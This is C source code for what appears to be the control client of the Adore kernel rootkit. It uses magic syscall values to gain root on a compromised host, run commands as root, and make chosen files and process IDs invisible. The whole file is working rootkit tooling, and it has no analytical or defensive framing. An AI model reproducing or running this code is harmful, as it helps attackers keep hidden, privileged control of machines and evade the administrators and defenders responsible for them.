#include <stdio.h>
#include <unistd.h>
#include <sys/errno.h>

#define MAGIC_NUMBER 	30000
#define MAGIC_UID 	666

typedef struct adore_t {
        int version;
} adore_t;

void usage(char *);

adore_t *adore_init();
int adore_makeroot(adore_t *);
int adore_getvers(adore_t *);

void hide_file(char *);
void unhide_file(char *); 
void execute_root(char *);
void hide_process(int);
void unhide_process(int);

int main(int argc, char **argv)
{
  int opt, version;
  adore_t *a;

  if(argc < 2)
    usage(argv[0]);

  opt = argv[1][0];

  printf("Checking for adore 0.34 ...\n");

  a = adore_init();
  if(a == NULL)
    exit(-1);

  if(adore_makeroot(a) < 0)
    fprintf(stderr, "Failed to run as root.  Trying anyways ...\n");

  version = adore_getvers(a);
  if(version <= 0) {
    printf("Adore is not installed.\n");
    exit(-1);
  }

  printf("Adore 0.%d installed.\n\n", version);

  switch(opt) {
      case 'r': execute_root(argv[2]); break;
      case 'h': hide_file(argv[2]); break;
      case 'u': unhide_file(argv[2]); break;
      case 'i': hide_process(atoi(argv[2])); break;
      case 'v': unhide_process(atoi(argv[2])); break;
      default: usage(argv[0]); break;
  }
  return(0);
}

adore_t *adore_init()
{ 
  adore_t *ret = (adore_t *) calloc(1, sizeof(adore_t));
  int r;

  r = mkdir(ADORE_KEY, 0);

  if(errno != 1) {
    printf("Cannot authenticate.\n");
    rmdir(ADORE_KEY);
    return(NULL);
  }

  r = close(MAGIC_NUMBER + 1);

  if(r < 0)
    ret->version = errno;

  return(ret);
}

int adore_makeroot(adore_t *a)
{
  return close(MAGIC_NUMBER);
}

int adore_getvers(adore_t *a)
{
  if(!a)
    return(-1);

  return(a->version);
}

void execute_root(char *file)
{
  system(file);
}

void hide_file(char *file) 
{
  int ret;

  if(!file)
    return;

  ret = chown(file, MAGIC_UID, 0); 
  if(ret < 0) {
    printf("Cannot find file\n");
    return;
  }

  printf("File: %s is now invisible\n", file);
}

void unhide_file(char *file) 
{
  int ret;

  if(!file)
    return;

  ret = chown(file, 0, 0); 
  if(ret < 0) {
    printf("Cannot find file\n");
    return;
  }
  printf("File: %s is now visible\n", file); 
}

void hide_process(int pid)
{
  int ret;
  ret = kill(pid, 100);

  if(ret < 0) {
    if(errno == ESRCH)
      printf("Cannot find PID\n");
    if(errno == 2)
      printf("PID is already invisible\n");
    return;
  }
    
  printf("PID: %d is now invisible\n", pid);
}

void unhide_process(int pid)
{
  int ret;
  ret = kill(pid, 101);

  if(ret < 0) {
    if(errno == 2)
      printf("PID is already visible\n");
    if(errno == 3)
      printf("Cannot find PID\n");
    return;
  }

  printf("PID: %d is now visible\n", pid);
}

void usage(char *arg)
{
  printf("Usage: %s {h,u,r,i,v} [file, PID]\n\n"
         "	h hide file\n"
         "	u unhide file\n"
         "	r execute as root\n"
         "	i make pid invisible\n"
         "	v make pid visible\n", arg);
  exit(-1);
}
